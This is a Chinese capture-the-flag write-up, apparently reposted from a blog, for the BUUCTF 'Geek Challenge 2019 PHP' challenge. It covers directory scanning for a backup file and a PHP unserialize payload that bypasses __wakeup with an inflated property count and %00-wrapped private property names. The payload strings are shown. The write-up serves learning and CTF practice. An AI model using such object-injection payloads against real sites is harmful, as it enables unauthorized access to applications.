BUU [极客大挑战 2019]PHP(代码审计+序列化) write up

http://39.96.86.88/2020/04/03/
提示有备份,菜鸡我第一时间想到的就是index.php.bak,但试过后明显没有这个文件,于是只有用dirsearch扫描以下目录了。
在这里插入图片描述
在这里插入图片描述
index.php里面包含了class.php
在这里插入图片描述

include() 		//可运行包含文件里的代码
$_GET()			//传参
unserialize()	//反序列化

然后去看class.php,有一大堆函数,相当于给index.php加了一个Name类。
有几个函数与方法:

function __construct()	//构造函数
function __wakeup()		//unserialize()调用时会先运行此函数加载资源
function __distruct()	//析构函数

大致意思是你得调用Name类,序列化admin与passwrod,还得绕过__wakeup()(一般序列化都会出现绕过wakeup函数)。在本地调试加上:

$a = new Name('admin', 100);
$b = serialize($a);
print($b); 

在这里插入图片描述然后构造payload:
一般利用属性个数大于真实个数时可以绕过wakeup()函数

 O:4:"Name":3:{
    
    s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 
O:4:"Name":3:{
    
    s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

绕过wakeup后还不够,因为username与password都是私有的。上传时会自动在类与字段名前加上 \0 (这里表示ascii为0的字符也就是 空 )。但你在复制时会被去掉,所以上面的payload直接用是不行了。于是可以加上 %00 (url解码后也为空)

payload:O:4:"Name":3:{
    
    s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

或者也可以用python提交:
在这里插入图片描述
大佬资料:https://blog.csdn.net/weixin_44077544/article/details/103542260

猜你喜欢

转载自blog.csdn.net/qq_43478096/article/details/105192079